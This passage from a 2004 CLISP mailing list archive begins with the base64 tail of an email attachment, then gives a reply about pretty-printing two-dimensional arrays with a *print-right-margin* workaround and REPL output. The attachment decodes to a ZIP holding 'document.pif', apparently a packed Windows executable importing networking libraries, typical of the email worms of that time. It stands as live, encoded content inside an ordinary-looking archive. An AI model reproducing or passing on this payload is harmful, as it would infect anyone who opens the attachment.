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 APA/AADgBwAAwAcAAMADAADAAwAAwAMAAMADAADAAwAAwAMAAMADAADAAwAAwAMAAMADAADABwAA 4AcAAP/fAADYkQAAAAABAAEAEBAQAAEABAAoAQAAAQAAAAAAAAAAAAAAAACQwgAAYMIAAAAAAAAA AAAAAAAAAJ3CAABwwgAAAAAAAAAAAAAAAAAAqsIAAHjCAAAAAAAAAAAAAAAAAAC1wgAAgMIAAAAA AAAAAAAAAAAAAMDCAACIwgAAAAAAAAAAAAAAAAAAAAAAAAAAAADKwgAA2MIAAOjCAAAAAAAA9sIA AAAAAAAEwwAAAAAAAAzDAAAAAAAAcwAAgAAAAABLRVJORUwzMi5ETEwAQURWQVBJMzIuZGxsAE1T VkNSVC5kbGwAVVNFUjMyLmRsbABXUzJfMzIuZGxsAABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRy ZXNzAABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAAbWVtc2V0AAB3c3ByaW50ZkEAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFBL AQIUAAoAAAAAAMVkPjDKJx+eAFgAAABYAAAMAAAAAAAAAAAAIAAAAAAAAABkb2N1bWVudC5waWZQ SwUGAAAAAAEAAQA6AAAAKlgAAAAA ------=_NextPart_000_0003_A7B482EF.52048B97-- From james.anderson@setf.de Fri Jan 30 18:34:21 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Amkxf-000404-BV for clisp-list@lists.sourceforge.net; Fri, 30 Jan 2004 18:34:19 -0800 Received: from postman2.arcor-online.net ([151.189.0.188] helo=postman.arcor.de) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.30) id 1Am7rp-0007gH-Tl for clisp-list@lists.sourceforge.net; Thu, 29 Jan 2004 00:49:42 -0800 Received: from setf.de (dsl-082-083-227-090.arcor-ip.net [82.83.227.90]) (authenticated bits=0) by postman.arcor.de (8.13.0.PreAlpha4/8.13.0.PreAlpha4) with ESMTP id i0T8ncgF013519 for ; Thu, 29 Jan 2004 09:49:38 +0100 (MET) Subject: Re: [clisp-list] pretty-printing multi-dimensional arrays Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v553) From: james anderson To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit In-Reply-To: <200401282029.25594.bruno@clisp.org> Message-Id: X-Mailer: Apple Mail (2.553) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 30 18:43:31 2004 X-Original-Date: Thu, 29 Jan 2004 09:49:05 +0100 ? On Wednesday, Jan 28, 2004, at 20:29 Europe/Berlin, Bruno Haible wrote: > Pretty-printing of multidimentional arrays is not pretty. The first > sample > is OK, the second one is not. > >> ... >> (make-array '(20 20) :initial-element 0.5) > #2A((0.5 > 0.5 > 0.5 > ....(nearly 400 lines skipped) > 0.5 > 0.5 > 0.5)) > 1) Does ANSI CL mandate this stupid behaviour of printing just one > element > on each line? this looks like a bug. > 2) If not, can you instead implement a more dense representation that > attempts to condense as many array elements on a line as fit there, > Instead of spewing out hundreds of lines of output? I mean, the > pretty printer's output is made for humans. What I would expect is as a workaround one might set *print-right-margin*. > > #2A((0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 > 0.5 0.5 > 0.5 0.5) > ...) [tschichold:clisp/clisp-2003-12-26/build-20031226] janson% ./clisp ;; ... [1]> (let ((*print-right-margin* 256)) (pprint #2A((0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5)))) #2A((0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5)) anything more that the necessary line width did ok. anthing less triggered the bug. [4]> (let ((*print-right-margin* 85)) (pprint #2A((0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 